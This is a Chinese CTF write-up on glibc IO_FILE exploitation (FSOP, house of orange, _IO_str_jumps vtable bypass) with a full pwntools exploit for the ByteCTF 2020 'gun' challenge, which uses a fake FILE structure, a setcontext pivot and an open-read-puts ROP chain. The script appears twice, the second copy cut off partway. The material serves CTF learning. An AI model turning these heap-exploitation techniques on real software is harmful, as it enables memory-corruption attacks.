(1)IO_File相关知识:参考这个博客,写的真的很详细,~但是和利用毛关系都没有~
(2)fsop有关利用:感觉就没有几个师傅写了fsop的利用,个人感觉大师傅写的很好
(3)如何查找_IO_str_jumps:这个是为了绕过vtable的检查机制(好像是从2.24开始的),然而并没有libc.sym['_IO_str_jumps'],需要我们靠一点技巧去找
_IO_str_jumps指向很多函数,可以说是一个函数表,其内部0x20偏移处为_IO_str_underflow能够通过打印符号表查找到
同时通过search -p能够查找到存储指针的位置(即_IO_str_jumps内部)
一般来说是最下面那个,因为要比如下这个东西的地址更高
(4)house of orange
这个利用来源于2016年台湾举办的某个ctf的同名的题,主要是利用堆溢出,将top_chunk的size改小(为了不使用mmap分配堆块),然后申请一块比top_chunk大的堆块。这样就可把top_chunk放入unsorted bin
exit->__run_exit_handlers->_IO_cleanup->_IO_flush_all_lockp->stderr->stderr+0xd8->......(省略的为io_list_all为头的链表及其调用)
通过修改libc.sym['IO_2_1_stderr'] + 0x68为fake_io_file,达到劫持exit正常调用流程的目的。并且将fake_io_file的0xd8(即vtable)修改为_IO_str_jumps(2.24以后就有检查机制,之前的话可以修改为任意值)达到调用over_flow的目的,以此设置rdx寄存器的值并call malloc函数,结合提前修改malloc_hook为setcontext来实现堆上rop
将rbx寄存器置为stderr
stderr+0x68是chain,连入fake_io_file
把rax寄存器置为str_jumps
设置好参数准备跳转
rax为跳转到over_flow
设置rdx寄存器
【bytectf2020】gun
直接贴fmyy师傅的exp,其中涉及了srop,还没有学。。。不过改成正常的系统调用也可出
环境配置的是glibc_all_in_one下的2.31 9_版本
主要是调一调看看运行流程
下面是偏移,方便阅读的师傅调试
一般是和unsorted bin attack结合起来用,触发malloc error来fsop
2.23
malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->system('/bin/sh')
2.24及以后
malloc->_int_malloc->__libc_message->abort->_IO_flush_all_lockp->over_flow->malloc_hook->setcontext
首先让unsorted bin里有且仅有一个堆块(所以2.23可以结合house of orange 打)修改一个unsorted bin 里的堆块的bk指针为IO_list_all
并且利用堆溢出等手段修改该堆块的size为0x60(为啥后面会讲),然后malloc即可在把这个堆块放入smallbin之后触发malloc_error,进入_IO_flush_all_lockp
这里面的汇编啥的前面讲exit利用的时候详细记录过了
主要是这个rbx+0x68,一开始的rbx是main+88,加上0x68就是+198了,这个正好是small bin中0x60 size的chunk的表头,那么后续的mov rax,rbx+0xd8啥的就可以直接调用堆上预设的值了
还有一个需要注意的地方,伪造的fake_io,它的0x28位置要比0x20大,具体是因为io_file的结构如下
需要绕过
肯定第一种要好绕过一点
而且,通过io_flush_lock_up的源码分析
发现如果一直绕不过这个检查,会从io_list_all一直往下取链表的成员,直至为0
这就是为啥俺一开始在gdb里调半天一直mov rbx,rbx+0x68直到为0的原因
BUUOJ-house of orange
发现没有free函数,考虑使用house of orange 构造1个free的堆块,具体就是改写top_chunk(防止使用mmap分配内存),然后申请一个比它大的堆块,就会把top_chunk free
很寻常,不过限制了add个数为4。而且未初始化指针,可以leak_libc和heap
也是限制了edit的个数为3,改写的大小是我们指定的,所以存在堆溢出
存在的意义就是为了leak
模板题还写啥思路.......
~学了fsop和house of orange 还不会可以remake了~
fmyy师傅的博客
IO-file的详解
大师傅的FSOP利用
from
pwn
import
*
context.arch
=
"amd64"
p
=
process(
'./gun'
)
libc
=
ELF(
'./libc-2.31.so'
)
def
z():
gdb.attach(p)
def
menu(ch):
p.sendlineafter(
'Action>'
,
str
(ch))
def
new(size,content):
menu(
3
)
p.sendlineafter(
'price:'
,
str
(size))
p.sendlineafter(
'Name:'
,content)
def
load(index):
menu(
2
)
p.sendlineafter(
'load?'
,
str
(index))
def
free(times):
menu(
1
)
p.sendlineafter(
'time: '
,
str
(times))
p.sendlineafter(
'Your name: '
,
'nameless'
)
for
i
in
range
(
3
):
new(
0x10
,'')
new(
0x420
,
'nameless'
)
new(
0x420
,
'nameless'
)
new(
0x10
,
'nameless'
)
load(
4
)
load(
3
)
free(
2
)
new(
0x20
,'')
load(
3
)
free(
1
)
libc_base
=
u64(p.recvuntil(
'\x7F'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x1c502d
-
(libc.sym[
'__libc_start_main'
]
+
243
)
log.info(
'LIBC:\t'
+
hex
(libc_base))
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
malloc_hook
=
libc_base
+
libc.sym[
'__malloc_hook'
]
new(
0x20
,
'F'
*
0x10
+
'\n'
)
load(
3
)
free(
1
)
p.recvuntil(
'F'
*
0x10
)
heap_base
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
-
0x2C0
-
0x60
log.info(
'HEAP:\t'
+
hex
(heap_base))
pop_rdi_ret
=
libc_base
+
0x26B72
pop_rdx_r12
=
libc_base
+
0x11c1e1
pop_rsi_ret
=
libc_base
+
0x27529
pop_rax_ret
=
libc_base
+
0x4A550
jmp_rsi
=
libc_base
+
0x1105bd
syscall
=
libc_base
+
libc.sym[
'syscall'
]
target
=
libc_base
+
libc.sym[
'_IO_2_1_stdin_'
]
address
=
libc.sym[
'__free_hook'
]
+
libc_base
IO_str_jumps
=
libc_base
+
0x1ED560
Open
=
libc_base
+
libc.symbols[
"open"
]
Read
=
libc_base
+
libc.symbols[
"read"
]
Puts
=
libc_base
+
libc.symbols[
'puts'
]
free_hook
=
address
IO
=
'\x00'
*
0x28
IO
+
=
p64(heap_base
+
0x360
+
0xE0
)
IO
=
IO.ljust(
0xD8
,
'\x00'
)
IO
+
=
p64(IO_str_jumps)
read
=
libc_base
+
libc.sym[
'read'
]
frame
=
SigreturnFrame()
frame.rax
=
0
frame.rdi
=
0
frame.rsi
=
address
frame.rdx
=
0x2000
frame.rsp
=
address
frame.rip
=
Read
orw
=
p64(pop_rdi_ret)
+
p64(free_hook
+
0xF8
)
orw
+
=
p64(pop_rsi_ret)
+
p64(
0
)
orw
+
=
p64(
Open
)
orw
+
=
p64(pop_rdi_ret)
+
p64(
3
)
orw
+
=
p64(pop_rdx_r12)
+
p64(
0x30
)
+
p64(
0
)
orw
+
=
p64(pop_rsi_ret)
+
p64(free_hook
+
0x100
)
orw
+
=
p64(Read)
orw
+
=
p64(pop_rdi_ret)
+
p64(free_hook
+
0x100
)
orw
+
=
p64(Puts)
orw
=
orw.ljust(
0xF8
,
'\x00'
)
orw
+
=
'./flag\x00\x00'
IO
+
=
str
(frame)
for
i
in
range
(
3
):
load(i)
free(
3
)
new(
0x3E0
,IO
+
'\n'
)
new(
0x31
,p64(
0
)
+
p64(
0x21
)
+
'\x00'
*
0x18
+
p64(
0x21
)
+
'\n'
)
free(
1
)
load(
1
)
free(
1
)
new(
0x31
,p64(
0
)
+
p64(
0x21
)
+
p64(libc_base
+
libc.sym[
'_IO_2_1_stderr_'
]
+
0x68
)
+
'\n'
)
new(
0x10
,
'FMYY\n'
)
new(
0x10
,p64(heap_base
+
0x360
)
+
'\n'
)
load(
1
)
load(
2
)
free(
2
)
new(
0x31
,p64(
0
)
+
p64(
0x21
)
+
p64(malloc_hook)
+
'\n'
)
new(
0x10
,
'FMYY\n'
)
new(
0x10
,p64(libc_base
+
libc.sym[
'setcontext'
]
+
61
)
+
'\n'
)
z()
menu(
4
)
p.sendlineafter(
'Goodbye!'
,orw)
p.interactive()
from
pwn
import
*
context.arch
=
"amd64"
p
=
process(
'./gun'
)
libc
=
ELF(
'./libc-2.31.so'
)
def
z():
gdb.attach(p)
def
menu(ch):
p.sendlineafter(
'Action>'
,
str
(ch))
def
new(size,content):
menu(
3
)
p.sendlineafter(
'price:'
,
str
(size))
p.sendlineafter(
'Name:'
,content)
def
load(index):
menu(
2
)
p.sendlineafter(
'load?'
,
str
(index))
def
free(times):
menu(
1
)
p.sendlineafter(
'time: '
,
str
(times))
p.sendlineafter(
'Your name: '
,
'nameless'
)
for
i
in
range
(
3
):
new(
0x10
,'')
new(
0x420
,
'nameless'
)
new(
0x420
,
'nameless'
)
new(
0x10
,
'nameless'
)
load(
4
)
load(
3
)
free(
2
)
new(
0x20
,'')
load(
3
)
free(
1
)
libc_base
=
u64(p.recvuntil(
'\x7F'
)[
-
6
:].ljust(
8
,
'\x00'
))
-
0x1c502d
-
(libc.sym[
'__libc_start_main'
]
+
243
)
log.info(
'LIBC:\t'
+
hex
(libc_base))
free_hook
=
libc_base
+
libc.sym[
'__free_hook'
]
malloc_hook
=
libc_base
+
libc.sym[
'__malloc_hook'
]
new(
0x20
,
'F'
*
0x10
+
'\n'
)
load(
3
)
free(
1
)
p.recvuntil(
'F'
*
0x10
)
heap_base
=
u64(p.recv(
6
).ljust(
8
,
'\x00'
))
-
0x2C0
-
0x60
log.info(
'HEAP:\t'
+
hex
(heap_base))
pop_rdi_ret
=
libc_base
+
0x26B72
pop_rdx_r12
=
libc_base
+
0x11c1e1
pop_rsi_ret
=
libc_base
+
0x27529
pop_rax_ret
=
libc_base
+
0x4A550
jmp_rsi
=
libc_base
+
0x1105bd
syscall
=
libc_base
+
libc.sym[
'syscall'
]
target
=
libc_base
+
libc.sym[
'_IO_2_1_stdin_'
]
address
=
libc.sym[
'__free_hook'
]
+
libc_base
IO_str_jumps
=
libc_base
+
0x1ED560
Open
=
libc_base
+
libc.symbols[
"open"
]
Read
=
libc_base
+
libc.symbols[
"read"
]
Puts
=
libc_base
+
libc.symbols[
'puts'
]
free_hook
=
address
IO
=
'\x00'
*
0x28
IO
+
=
p64(heap_base
+
0x360
+
0xE0
)
IO
=
IO.ljust(
0xD8
,
'\x00'
)
IO
+
=
p64(IO_str_jumps)
read
=
libc_base
+
libc.sym[
'read'
]
frame
=
SigreturnFrame()
frame.rax
=
0
frame.rdi
=
0
frame.rsi
=
address
frame.rdx
=
0x2000
frame.rsp
=
address
frame.rip
=
Read
orw
=
p64(pop_rdi_ret)
+
p64(free_hook
+
0xF8
)
orw
+
=
p64(pop_rsi_ret)
+
p64(
0
)
orw
+
=
p64(
Open
)
orw
+
=
p64(pop_rdi_ret)
+
p64(
3
)
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)
最后于 2022-4-26 11:17
被Nameless_a编辑
,原因: